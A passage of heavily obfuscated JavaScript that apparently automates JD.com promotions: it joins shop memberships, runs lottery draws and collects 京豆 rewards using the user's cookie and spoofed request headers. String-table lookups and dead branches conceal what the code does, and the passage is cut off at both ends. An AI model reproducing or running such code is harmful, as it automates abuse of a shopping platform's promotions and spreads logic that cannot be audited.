setcookies,_0x438845[_0x5a05('186')])){setcookie=setcookies[_0x5a05('68')](',');}else setcookie=setcookies;for(let _0x4e4044 of setcookie){let _0x15af67=_0x4e4044[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x15af67[_0x5a05('68')]('=')[0x1]){if(_0x438845[_0x5a05('187')](_0x15af67[_0x5a05('6b')](_0x438845[_0x5a05('188')]),-0x1))LZ_TOKEN_KEY=_0x438845[_0x5a05('189')](_0x15af67[_0x5a05('6e')](/ /g,''),';');if(_0x438845[_0x5a05('18a')](_0x15af67[_0x5a05('6b')](_0x438845[_0x5a05('18b')]),-0x1))LZ_TOKEN_VALUE=_0x438845[_0x5a05('189')](_0x15af67[_0x5a05('6e')](/ /g,''),';');}}}else{res=$[_0x5a05('7e')](_0x593ace);if(_0x26c3c4[_0x5a05('17d')](typeof res,_0x26c3c4[_0x5a05('170')])){if(_0x26c3c4[_0x5a05('18c')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){let _0x24a02f='';if(res[_0x5a05('82')][_0x5a05('c3')]){if(_0x26c3c4[_0x5a05('18c')](_0x26c3c4[_0x5a05('18d')],_0x26c3c4[_0x5a05('18d')])){_0x24a02f=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}else{console[_0x5a05('7')](_0x46259f[_0x5a05('18e')]);$[_0x5a05('13')]=!![];}}if(res[_0x5a05('82')][_0x5a05('c4')]&&res[_0x5a05('82')][_0x5a05('c5')]){if(_0x26c3c4[_0x5a05('18f')](_0x26c3c4[_0x5a05('190')],_0x26c3c4[_0x5a05('190')])){let _0x48b728=$[_0x5a05('7e')](_0x593ace);if(_0x46259f[_0x5a05('191')](typeof _0x48b728,_0x46259f[_0x5a05('192')])&&_0x46259f[_0x5a05('191')](_0x48b728[_0x5a05('193')],0x0)){if(_0x46259f[_0x5a05('194')](typeof _0x48b728[_0x5a05('195')],_0x46259f[_0x5a05('196')]))$[_0x5a05('61')]=_0x48b728[_0x5a05('195')];}else if(_0x46259f[_0x5a05('197')](typeof _0x48b728,_0x46259f[_0x5a05('192')])&&_0x48b728[_0x5a05('198')]){console[_0x5a05('7')](_0x5a05('199')+(_0x48b728[_0x5a05('198')]||''));}else{console[_0x5a05('7')](_0x593ace);}}else{_0x24a02f+=_0x5a05('c6')+res[_0x5a05('82')][_0x5a05('c4')]+'京豆';}}console[_0x5a05('7')](_0x5a05('c7')+_0x26c3c4[_0x5a05('19a')](_0x24a02f,_0x26c3c4[_0x5a05('19b')]));}else if(_0x26c3c4[_0x5a05('17d')](typeof res,_0x26c3c4[_0x5a05('170')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('19c')+(res[_0x5a05('87')]||''));}else{if(_0x26c3c4[_0x5a05('18f')](_0x26c3c4[_0x5a05('19d')],_0x26c3c4[_0x5a05('19d')])){if(_0xd5a93[_0x5a05('15a')]&&_0x46259f[_0x5a05('19e')](_0xd5a93[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x46259f[_0x5a05('18e')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0xa253d));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{console[_0x5a05('7')](_0x593ace);}}}else{if(_0x26c3c4[_0x5a05('18f')](_0x26c3c4[_0x5a05('19f')],_0x26c3c4[_0x5a05('1a0')])){console[_0x5a05('7')](_0x593ace);}else{console[_0x5a05('7')](_0x5a05('162')+(res[_0x5a05('87')]||''));}}}}}else{_0x438845[_0x5a05('1a1')](_0x53b0d6);}}catch(_0x32c0fd){$[_0x5a05('3f')](_0x32c0fd,_0xd5a93);}finally{_0x26c3c4[_0x5a05('175')](_0x53b0d6);}});});}function getshopactivityId(_0x32b04d){var _0x405111={'tgzkD':function(_0x1809a4,_0x1f6b5f){return _0x1809a4===_0x1f6b5f;},'nujwk':_0x5a05('1a2'),'DfpCu':function(_0x5b94fa,_0x2ddda8){return _0x5b94fa==_0x2ddda8;},'CRRMU':function(_0x3a55b6){return _0x3a55b6();},'yRUhH':function(_0x43efc6,_0x58696f){return _0x43efc6(_0x58696f);}};return new Promise(_0xaf36d0=>{var _0x14af9b={'NJAnA':function(_0x45048e,_0x5c9e2b){return _0x405111[_0x5a05('1a3')](_0x45048e,_0x5c9e2b);},'gbArc':_0x405111[_0x5a05('1a4')],'EdfDF':function(_0x556955,_0x570a63){return _0x405111[_0x5a05('1a5')](_0x556955,_0x570a63);},'NOpIy':function(_0x53d872){return _0x405111[_0x5a05('1a6')](_0x53d872);}};$[_0x5a05('1a7')](_0x405111[_0x5a05('1a8')](shopactivityId,''+_0x32b04d),async(_0x38cd11,_0x7efaa4,_0x22e50d)=>{if(_0x14af9b[_0x5a05('1a9')](_0x14af9b[_0x5a05('1aa')],_0x14af9b[_0x5a05('1aa')])){try{_0x22e50d=JSON[_0x5a05('136')](_0x22e50d);if(_0x14af9b[_0x5a05('1ab')](_0x22e50d[_0x5a05('138')],!![])){$[_0x5a05('139')]=_0x22e50d[_0x5a05('81')][_0x5a05('13a')]&&_0x22e50d[_0x5a05('81')][_0x5a05('13a')][0x0]&&_0x22e50d[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')]&&_0x22e50d[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')][_0x5a05('2d')]||'';}}catch(_0xf3805d){$[_0x5a05('3f')](_0xf3805d,_0x7efaa4);}finally{_0x14af9b[_0x5a05('1ac')](_0xaf36d0);}}else{$[_0x5a05('3f')](e,_0x7efaa4);}});});}function shopactivityId(_0x5e3088){var _0x26f52b={'UfMlq':_0x5a05('1ad'),'vxzhe':_0x5a05('1ae'),'TVCKc':_0x5a05('1af'),'WVYvq':_0x5a05('1b0'),'WwkLl':_0x5a05('1b1')};return{'url':_0x5a05('1b2')+_0x5e3088+_0x5a05('1b3'),'headers':{'Content-Type':_0x26f52b[_0x5a05('1b4')],'Origin':_0x26f52b[_0x5a05('1b5')],'Host':_0x26f52b[_0x5a05('1b6')],'accept':_0x26f52b[_0x5a05('1b7')],'User-Agent':$['UA'],'content-type':_0x26f52b[_0x5a05('1b8')],'Referer':_0x5a05('1b9')+_0x5e3088+_0x5a05('1ba')+_0x5e3088+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}function join(_0x49be32){var _0x3c50bc={'dDzzs':function(_0x13525d,_0x27dfc1){return _0x13525d||_0x27dfc1;},'mBBHU':_0x5a05('48'),'QMabg':function(_0x34bcc1,_0x137122){return _0x34bcc1!==_0x137122;},'zGtHy':_0x5a05('1bc'),'cbRCA':_0x5a05('1bd'),'EokaM':function(_0x23e6db,_0x1304fe){return _0x23e6db==_0x1304fe;},'sZWKN':_0x5a05('44'),'JhgWM':function(_0x715614,_0x16ab91){return _0x715614===_0x16ab91;},'rUSRm':function(_0x5b7192,_0x5b44f7){return _0x5b7192===_0x5b44f7;},'tsyVc':_0x5a05('1be'),'JDFFJ':function(_0x1cbf31,_0x3568e5){return _0x1cbf31!==_0x3568e5;},'XduiY':_0x5a05('1bf'),'VAURb':function(_0x430f5e){return _0x430f5e();},'KnKBA':function(_0x5c844f,_0x2aabd2){return _0x5c844f(_0x2aabd2);},'uNgVQ':function(_0x15fab1,_0xdba8db){return _0x15fab1(_0xdba8db);}};return new Promise(async _0x5d39d2=>{var _0x52e417={'bdRZT':function(_0x2c13cf){return _0x3c50bc[_0x5a05('1c0')](_0x2c13cf);}};$[_0x5a05('139')]='';await $[_0x5a05('91')](0x3e8);await _0x3c50bc[_0x5a05('1c1')](getshopactivityId,_0x49be32);$[_0x5a05('1a7')](_0x3c50bc[_0x5a05('1c2')](ruhui,''+_0x49be32),async(_0x3ffeb6,_0x27b1aa,_0x42f99f)=>{var _0x4d28bc={'PPyra':function(_0x92523f,_0x34a477){return _0x3c50bc[_0x5a05('1c3')](_0x92523f,_0x34a477);},'isYMm':_0x3c50bc[_0x5a05('1c4')]};if(_0x3c50bc[_0x5a05('1c5')](_0x3c50bc[_0x5a05('1c6')],_0x3c50bc[_0x5a05('1c6')])){_0x52e417[_0x5a05('1c7')](_0x5d39d2);}else{try{if(_0x3c50bc[_0x5a05('1c5')](_0x3c50bc[_0x5a05('1c8')],_0x3c50bc[_0x5a05('1c8')])){let _0xbdbd0e='';if(res[_0x5a05('82')][_0x5a05('c3')]){_0xbdbd0e=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}console[_0x5a05('7')](_0x5a05('15f')+_0x4d28bc[_0x5a05('1c9')](_0xbdbd0e,_0x4d28bc[_0x5a05('1ca')]));}else{let _0x34a0dd=$[_0x5a05('7e')](_0x42f99f);if(_0x3c50bc[_0x5a05('1cb')](typeof _0x34a0dd,_0x3c50bc[_0x5a05('1cc')])){if(_0x3c50bc[_0x5a05('1cd')](_0x34a0dd[_0x5a05('138')],!![])){if(_0x3c50bc[_0x5a05('1ce')](_0x3c50bc[_0x5a05('1cf')],_0x3c50bc[_0x5a05('1cf')])){console[_0x5a05('7')](_0x34a0dd[_0x5a05('198')]);if(_0x34a0dd[_0x5a05('81')]&&_0x34a0dd[_0x5a05('81')][_0x5a05('1d0')]){for(let _0x3b7223 of _0x34a0dd[_0x5a05('81')][_0x5a05('1d0')][_0x5a05('1d1')]){console[_0x5a05('7')](_0x5a05('12f')+_0x3b7223[_0x5a05('130')]+_0x3b7223[_0x5a05('131')]+_0x3b7223[_0x5a05('132')]);}}}else{$[_0x5a05('3f')](e,_0x27b1aa);}}else if(_0x3c50bc[_0x5a05('1cb')](typeof _0x34a0dd,_0x3c50bc[_0x5a05('1cc')])&&_0x34a0dd[_0x5a05('198')]){if(_0x3c50bc[_0x5a05('1d2')](_0x3c50bc[_0x5a05('1d3')],_0x3c50bc[_0x5a05('1d3')])){console[_0x5a05('7')](_0x42f99f);}else{console[_0x5a05('7')](''+(_0x34a0dd[_0x5a05('198')]||''));}}else{console[_0x5a05('7')](_0x42f99f);}}else{console[_0x5a05('7')](_0x42f99f);}}}catch(_0x3051d2){$[_0x5a05('3f')](_0x3051d2,_0x27b1aa);}finally{_0x3c50bc[_0x5a05('1c0')](_0x5d39d2);}}});});}function ruhui(_0x3b57f7){var _0x3de7ea={'fWjJg':_0x5a05('1ad'),'BtFiE':_0x5a05('1ae'),'VdRSZ':_0x5a05('1af'),'dglsm':_0x5a05('1b0'),'bAswG':_0x5a05('1b1')};let _0x43b66a='';if($[_0x5a05('139')])_0x43b66a=_0x5a05('1d4')+$[_0x5a05('139')];return{'url':_0x5a05('1d5')+_0x3b57f7+_0x5a05('1d6')+_0x3b57f7+_0x5a05('1d7')+_0x43b66a+_0x5a05('1d8'),'headers':{'Content-Type':_0x3de7ea[_0x5a05('1d9')],'Origin':_0x3de7ea[_0x5a05('1da')],'Host':_0x3de7ea[_0x5a05('1db')],'accept':_0x3de7ea[_0x5a05('1dc')],'User-Agent':$['UA'],'content-type':_0x3de7ea[_0x5a05('1dd')],'Referer':_0x5a05('1b9')+_0x3b57f7+_0x5a05('1ba')+_0x3b57f7+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}function startDraw(_0x46b41b){var _0xf9fa43={'yAmIm':function(_0x4d0eab,_0x2b0539){return _0x4d0eab!=_0x2b0539;},'arPoG':_0x5a05('44'),'DJQXY':function(_0x9b4dca,_0x3e49be){return _0x9b4dca>_0x3e49be;},'Pzyco':_0x5a05('42'),'vUviM':function(_0x181868,_0xec8114){return _0x181868+_0xec8114;},'OxUBl':_0x5a05('43'),'erWmy':function(_0x5a6811,_0x465679){return _0x5a6811+_0x465679;},'egKlm':_0x5a05('4c'),'baVMQ':function(_0xec40c7,_0x55fa25){return _0xec40c7!==_0x55fa25;},'jHlXo':_0x5a05('1de'),'pJyfU':_0x5a05('1df'),'vmzIp':function(_0x533d69,_0xb4c920){return _0x533d69===_0xb4c920;},'omBHP':_0x5a05('1e0'),'Omcpz':_0x5a05('1e1'),'WzrnE':function(_0x83a45,_0x5c443d){return _0x83a45!==_0x5c443d;},'OOFJQ':_0x5a05('1e2'),'yeTlp':function(_0x3c3069,_0x197a65){return _0x3c3069==_0x197a65;},'ByGEK':function(_0x2fdf89,_0x1d9f90){return _0x2fdf89!==_0x1d9f90;},'KhKNW':_0x5a05('1e3'),'TZuoA':function(_0x8bd343,_0x343124){return _0x8bd343===_0x343124;},'HGyoQ':_0x5a05('48'),'VhFab':function(_0xf0f528,_0x46ca85){return _0xf0f528!==_0x46ca85;},'urPAU':_0x5a05('1e4'),'gTPro':function(_0x44a7ec){return _0x44a7ec();},'vapUt':function(_0x48947a,_0x45eb45){return _0x48947a(_0x45eb45);},'dAQfq':function(_0x25b718,_0x45083e,_0x16dcaf){return _0x25b718(_0x45083e,_0x16dcaf);},'IQvKT':_0x5a05('1e5')};return new Promise(_0x119fbe=>{let _0x386f2f=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('e6')+_0xf9fa43[_0x5a05('1e6')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('1e7')+_0x46b41b;$[_0x5a05('e9')](_0xf9fa43[_0x5a05('1e8')](taskPostUrl,_0xf9fa43[_0x5a05('1e9')],_0x386f2f),async(_0x139f1f,_0x53d302,_0x2d495e)=>{var _0x1955f5={'Gpzpi':function(_0x3655e0,_0x136893){return _0xf9fa43[_0x5a05('1ea')](_0x3655e0,_0x136893);},'RESVQ':_0xf9fa43[_0x5a05('1eb')],'dcWxk':function(_0x534efb,_0x51b87f){return _0xf9fa43[_0x5a05('1ec')](_0x534efb,_0x51b87f);},'FZANf':_0xf9fa43[_0x5a05('1ed')],'mXbbf':function(_0x526715,_0x5b5010){return _0xf9fa43[_0x5a05('1ee')](_0x526715,_0x5b5010);},'opusY':_0xf9fa43[_0x5a05('1ef')],'OEvIr':function(_0x29dd63,_0x2739a1){return _0xf9fa43[_0x5a05('1f0')](_0x29dd63,_0x2739a1);},'uWwTE':_0xf9fa43[_0x5a05('1f1')]};if(_0xf9fa43[_0x5a05('1f2')](_0xf9fa43[_0x5a05('1f3')],_0xf9fa43[_0x5a05('1f4')])){try{if(_0xf9fa43[_0x5a05('1f5')](_0xf9fa43[_0x5a05('1f6')],_0xf9fa43[_0x5a05('1f7')])){if(_0x1955f5[_0x5a05('1f8')](typeof setcookies,_0x1955f5[_0x5a05('1f9')])){setcookie=setcookies[_0x5a05('68')](',');}else setcookie=setcookies;for(let _0x9c12ed of setcookie){let _0x263dd3=_0x9c12ed[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x263dd3[_0x5a05('68')]('=')[0x1]){if(_0x1955f5[_0x5a05('1fa')](_0x263dd3[_0x5a05('6b')](_0x1955f5[_0x5a05('1fb')]),-0x1))LZ_TOKEN_KEY=_0x1955f5[_0x5a05('1fc')](_0x263dd3[_0x5a05('6e')](/ /g,''),';');if(_0x1955f5[_0x5a05('1fa')](_0x263dd3[_0x5a05('6b')](_0x1955f5[_0x5a05('1fd')]),-0x1))LZ_TOKEN_VALUE=_0x1955f5[_0x5a05('1fe')](_0x263dd3[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0x139f1f){if(_0xf9fa43[_0x5a05('1ff')](_0xf9fa43[_0x5a05('200')],_0xf9fa43[_0x5a05('200')])){console[_0x5a05('7')](_0x5a05('199')+(res[_0x5a05('198')]||''));}else{console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x139f1f));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}else{res=$[_0x5a05('7e')](_0x2d495e);if(_0xf9fa43[_0x5a05('201')](typeof res,_0xf9fa43[_0x5a05('1eb')])){if(_0xf9fa43[_0x5a05('202')](_0xf9fa43[_0x5a05('203')],_0xf9fa43[_0x5a05('203')])){console[_0x5a05('7')](_0x2d495e);}else{if(_0xf9fa43[_0x5a05('204')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){console[_0x5a05('7')](_0x5a05('205')+(res[_0x5a05('82')][_0x5a05('206')]&&res[_0x5a05('82')][_0x5a05('21')]||_0xf9fa43[_0x5a05('207')]));}else if(_0xf9fa43[_0x5a05('201')](typeof res,_0xf9fa43[_0x5a05('1eb')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('208')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x2d495e);}}}else{console[_0x5a05('7')](_0x2d495e);}}}}catch(_0x1b23a1){$[_0x5a05('3f')](_0x1b23a1,_0x53d302);}finally{if(_0xf9fa43[_0x5a05('209')](_0xf9fa43[_0x5a05('20a')],_0xf9fa43[_0x5a05('20a')])){console[_0x5a05('7')](_0x1955f5[_0x5a05('20b')]);return;}else{_0xf9fa43[_0x5a05('20c')](_0x119fbe);}}}else{$[_0x5a05('3f')](e,_0x53d302);}});});}function checkOpenCard(){var _0x4f1ba6={'jcdeZ':_0x5a05('1ad'),'MmDSX':_0x5a05('1ae'),'LoqVM':_0x5a05('1af'),'kHFFQ':_0x5a05('1b0'),'Oxduu':_0x5a05('1b1'),'ygKbR':function(_0x5ce9cb,_0x51d980){return _0x5ce9cb(_0x51d980);},'MQrmr':function(_0x2646a,_0x31bcc0){return _0x2646a===_0x31bcc0;},'hIREr':_0x5a05('48'),'OoHwB':function(_0x499105,_0x208666){return _0x499105==_0x208666;},'HEEYR':_0x5a05('44'),'RdaBH':function(_0x34355e,_0x52a508){return _0x34355e!==_0x52a508;},'kaXUn':_0x5a05('20d'),'vRWIQ':function(_0x28a055,_0x472117){return _0x28a055!==_0x472117;},'Kopna':_0x5a05('20e'),'ORrDU':_0x5a05('20f'),'zcoqN':_0x5a05('210'),'hUfeD':_0x5a05('211'),'xACVf':_0x5a05('212'),'Dwpzm':function(_0x95fcf5,_0x3b3333,_0x40cacf){return _0x95fcf5(_0x3b3333,_0x40cacf);},'VaoVe':_0x5a05('213')};return new Promise(_0x2a5fe0=>{var _0x4f5f2f={'ddLpx':_0x4f1ba6[_0x5a05('214')],'uXLmK':_0x4f1ba6[_0x5a05('215')],'WafEE':_0x4f1ba6[_0x5a05('216')],'elqYr':_0x4f1ba6[_0x5a05('217')],'mynwf':_0x4f1ba6[_0x5a05('218')],'zQxGL':function(_0x39a3b3,_0x252e03){return _0x4f1ba6[_0x5a05('219')](_0x39a3b3,_0x252e03);},'GlNWR':function(_0x2e84be,_0x5bf849){return _0x4f1ba6[_0x5a05('21a')](_0x2e84be,_0x5bf849);},'ybkqG':_0x4f1ba6[_0x5a05('21b')],'ZnSLY':function(_0x5b5735,_0x4962d8){return _0x4f1ba6[_0x5a05('21c')](_0x5b5735,_0x4962d8);},'pkHHD':_0x4f1ba6[_0x5a05('21d')],'fMkie':function(_0x1810ff,_0x31e8c5){return _0x4f1ba6[_0x5a05('21e')](_0x1810ff,_0x31e8c5);},'LDqfV':_0x4f1ba6[_0x5a05('21f')],'xuCJW':function(_0x30d184,_0x27b204){return _0x4f1ba6[_0x5a05('220')](_0x30d184,_0x27b204);},'fZYzJ':_0x4f1ba6[_0x5a05('221')],'GzXVx':_0x4f1ba6[_0x5a05('222')],'BenoD':function(_0x53ae8e,_0x13c117){return _0x4f1ba6[_0x5a05('220')](_0x53ae8e,_0x13c117);},'EzdKg':_0x4f1ba6[_0x5a05('223')],'PKaTz':_0x4f1ba6[_0x5a05('224')],'ojgVo':_0x4f1ba6[_0x5a05('225')],'ZeRwy':function(_0x2733e1,_0x2f0749){return _0x4f1ba6[_0x5a05('219')](_0x2733e1,_0x2f0749);}};let _0x3b5c37=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x4f1ba6[_0x5a05('219')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('30')+$[_0x5a05('2b')];$[_0x5a05('e9')](_0x4f1ba6[_0x5a05('226')](taskPostUrl,_0x4f1ba6[_0x5a05('227')],_0x3b5c37),async(_0x2b36e8,_0xb3b27b,_0x363b5f)=>{var _0x126140={'fyptW':function(_0x530dee,_0x5dce16){return _0x4f5f2f[_0x5a05('228')](_0x530dee,_0x5dce16);},'LzTlT':function(_0x37e902,_0x1a0561){return _0x4f5f2f[_0x5a05('229')](_0x37e902,_0x1a0561);},'GURge':_0x4f5f2f[_0x5a05('22a')],'nfZWq':function(_0xf6be2d,_0x5ce2c0){return _0x4f5f2f[_0x5a05('22b')](_0xf6be2d,_0x5ce2c0);},'xeXdT':_0x4f5f2f[_0x5a05('22c')]};if(_0x4f5f2f[_0x5a05('22d')](_0x4f5f2f[_0x5a05('22e')],_0x4f5f2f[_0x5a05('22e')])){msg=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}else{try{if(_0x4f5f2f[_0x5a05('22f')](_0x4f5f2f[_0x5a05('230')],_0x4f5f2f[_0x5a05('230')])){let _0x202794='';if($[_0x5a05('139')])_0x202794=_0x5a05('1d4')+$[_0x5a05('139')];return{'url':_0x5a05('1d5')+functionId+_0x5a05('1d6')+functionId+_0x5a05('1d7')+_0x202794+_0x5a05('1d8'),'headers':{'Content-Type':_0x4f5f2f[_0x5a05('231')],'Origin':_0x4f5f2f[_0x5a05('232')],'Host':_0x4f5f2f[_0x5a05('233')],'accept':_0x4f5f2f[_0x5a05('234')],'User-Agent':$['UA'],'content-type':_0x4f5f2f[_0x5a05('235')],'Referer':_0x5a05('1b9')+functionId+_0x5a05('1ba')+functionId+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}else{if(_0x2b36e8){if(_0x4f5f2f[_0x5a05('229')](_0x4f5f2f[_0x5a05('236')],_0x4f5f2f[_0x5a05('236')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x2b36e8));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{_0x126140[_0x5a05('237')](_0x2a5fe0,res&&res[_0x5a05('82')]||'');}}else{if(_0x4f5f2f[_0x5a05('238')](_0x4f5f2f[_0x5a05('239')],_0x4f5f2f[_0x5a05('239')])){$[_0x5a05('3f')](e,_0xb3b27b);}else{res=$[_0x5a05('7e')](_0x363b5f);if(_0x4f5f2f[_0x5a05('238')](typeof res,_0x4f5f2f[_0x5a05('22c')])){if(_0x4f5f2f[_0x5a05('238')](_0x4f5f2f[_0x5a05('23a')],_0x4f5f2f[_0x5a05('23b')])){console[_0x5a05('7')](_0x363b5f);}else{if(_0x126140[_0x5a05('23c')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){console[_0x5a05('7')](_0x5a05('205')+(res[_0x5a05('82')][_0x5a05('206')]&&res[_0x5a05('82')][_0x5a05('21')]||_0x126140[_0x5a05('23d')]));}else if(_0x126140[_0x5a05('23e')](typeof res,_0x126140[_0x5a05('23f')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('208')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x363b5f);}}}}}}}catch(_0x2f1f2b){$[_0x5a05('3f')](_0x2f1f2b,_0xb3b27b);}finally{_0x4f5f2f[_0x5a05('240')](_0x2a5fe0,res&&res[_0x5a05('82')]||'');}}});});}function drawContent(){var _0xf0b26d={'GjaNG':function(_0x36e2a1){return _0x36e2a1();},'FiQHo':function(_0x385ed0,_0x4fe2e3){return _0x385ed0||_0x4fe2e3;},'pVzBx':_0x5a05('241'),'eQiPu':function(_0x4e3732,_0x651726){return _0x4e3732<_0x651726;},'gAQUV':function(_0x3297c9,_0x110bf9){return _0x3297c9*_0x110bf9;},'FoJdu':function(_0x1b6603,_0x5cfebe){return _0x1b6603===_0x5cfebe;},'sFnYn':_0x5a05('242'),'obSiR':_0x5a05('243'),'rlNvA':_0x5a05('244'),'wLgrf':function(_0x5935cc,_0x76d98c){return _0x5935cc!==_0x76d98c;},'LxEYA':_0x5a05('245'),'ozTVv':_0x5a05('246'),'Gsizi':function(_0x83a92,_0x596558){return _0x83a92(_0x596558);},'FfLxT':function(_0x4889b4,_0x1d8187,_0x4cda3a){return _0x4889b4(_0x1d8187,_0x4cda3a);},'RZiSp':_0x5a05('247')};return new Promise(_0x27022d=>{var _0xf0c121={'yNskI':function(_0x3ae8d0){return _0xf0b26d[_0x5a05('248')](_0x3ae8d0);},'YvpAf':function(_0x580e75,_0x4cadde){return _0xf0b26d[_0x5a05('249')](_0x580e75,_0x4cadde);},'PxvYb':_0xf0b26d[_0x5a05('24a')],'wOwWl':function(_0x466c9a,_0xdbbf4c){return _0xf0b26d[_0x5a05('24b')](_0x466c9a,_0xdbbf4c);},'zeiAz':function(_0x253441,_0xfce216){return _0xf0b26d[_0x5a05('24c')](_0x253441,_0xfce216);},'cSscR':function(_0x2c8e4d,_0x522454){return _0xf0b26d[_0x5a05('24d')](_0x2c8e4d,_0x522454);},'eqCgZ':_0xf0b26d[_0x5a05('24e')],'tZzlr':_0xf0b26d[_0x5a05('24f')],'XWHNn':_0xf0b26d[_0x5a05('250')]};if(_0xf0b26d[_0x5a05('251')](_0xf0b26d[_0x5a05('252')],_0xf0b26d[_0x5a05('253')])){let _0x478991=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0xf0b26d[_0x5a05('254')](encodeURIComponent,$[_0x5a05('62')]);$[_0x5a05('e9')](_0xf0b26d[_0x5a05('255')](taskPostUrl,_0xf0b26d[_0x5a05('256')],_0x478991),async(_0x12cac4,_0xa9cf2b,_0x555a5f)=>{try{if(_0xf0c121[_0x5a05('257')](_0xf0c121[_0x5a05('258')],_0xf0c121[_0x5a05('258')])){if(_0x12cac4){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x12cac4));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{}}else{_0xf0c121[_0x5a05('259')](_0x27022d);}}catch(_0x18ad5a){$[_0x5a05('3f')](_0x18ad5a,_0xa9cf2b);}finally{if(_0xf0c121[_0x5a05('257')](_0xf0c121[_0x5a05('25a')],_0xf0c121[_0x5a05('25b')])){e=_0xf0c121[_0x5a05('25c')](e,0x20);let _0x1f4ec3=_0xf0c121[_0x5a05('25d')],_0x16625c=_0x1f4ec3[_0x5a05('32')],_0x550db8='';for(i=0x0;_0xf0c121[_0x5a05('25e')](i,e);i++)_0x550db8+=_0x1f4ec3[_0x5a05('25f')](Math[_0x5a05('107')](_0xf0c121[_0x5a05('260')](Math[_0x5a05('9a')](),_0x16625c)));return _0x550db8;}else{_0xf0c121[_0x5a05('259')](_0x27022d);}}});}else{console[_0x5a05('7')](data);}});}function getActorUuid(){var _0x1b4c6f={'mdmaY':function(_0x52df3d,_0x51e0d3){return _0x52df3d===_0x51e0d3;},'aWNPr':_0x5a05('261'),'WmABh':_0x5a05('262'),'JcyhW':function(_0x1b3e88,_0x1f7403){return _0x1b3e88==_0x1f7403;},'BDxRm':_0x5a05('4b'),'Tshtv':_0x5a05('263'),'kIxDJ':_0x5a05('264'),'vMCRA':_0x5a05('44'),'uXWaa':function(_0x57fb7d,_0x18cf97){return _0x57fb7d===_0x18cf97;},'WaEbG':function(_0x4ae6e7,_0x5d353b){return _0x4ae6e7!=_0x5d353b;},'hlYMP':_0x5a05('45'),'ABtbT':function(_0x666c1,_0x27ca65){return _0x666c1==_0x27ca65;},'aTUsS':function(_0x2337a5,_0x44b7ec){return _0x2337a5===_0x44b7ec;},'aboVY':_0x5a05('265'),'yNQPD':_0x5a05('266'),'icyez':function(_0x35692b){return _0x35692b();},'RiyND':function(_0x4f5300,_0x5bb6c0){return _0x4f5300(_0x5bb6c0);},'MSMrT':function(_0x4a783c,_0x27db13){return _0x4a783c(_0x27db13);},'pQfwv':function(_0x38900d,_0x3f352c,_0x436aa6){return _0x38900d(_0x3f352c,_0x436aa6);},'YzcNV':_0x5a05('267')};return new Promise(_0x2c7365=>{let _0x3886a4=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x1b4c6f[_0x5a05('268')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('269')+_0x1b4c6f[_0x5a05('26a')](encodeURIComponent,$[_0x5a05('85')])+_0x5a05('26b')+_0x1b4c6f[_0x5a05('26a')](encodeURIComponent,$[_0x5a05('75')])+_0x5a05('26c')+$[_0x5a05('2b')];$[_0x5a05('e9')](_0x1b4c6f[_0x5a05('26d')](taskPostUrl,_0x1b4c6f[_0x5a05('26e')],_0x3886a4),async(_0x4e80e6,_0x2ff1e8,_0x54a925)=>{try{if(_0x1b4c6f[_0x5a05('26f')](_0x1b4c6f[_0x5a05('270')],_0x1b4c6f[_0x5a05('271')])){$[_0x5a05('3f')](e,_0x2ff1e8);}else{if(_0x4e80e6){if(_0x2ff1e8[_0x5a05('15a')]&&_0x1b4c6f[_0x5a05('272')](_0x2ff1e8[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x1b4c6f[_0x5a05('273')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x4e80e6));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x1b4c6f[_0x5a05('26f')](_0x1b4c6f[_0x5a05('274')],_0x1b4c6f[_0x5a05('275')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x4e80e6));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{res=$[_0x5a05('7e')](_0x54a925);if(_0x1b4c6f[_0x5a05('272')](typeof res,_0x1b4c6f[_0x5a05('276')])&&res[_0x5a05('81')]&&_0x1b4c6f[_0x5a05('277')](res[_0x5a05('81')],!![])){if(_0x1b4c6f[_0x5a05('278')](typeof 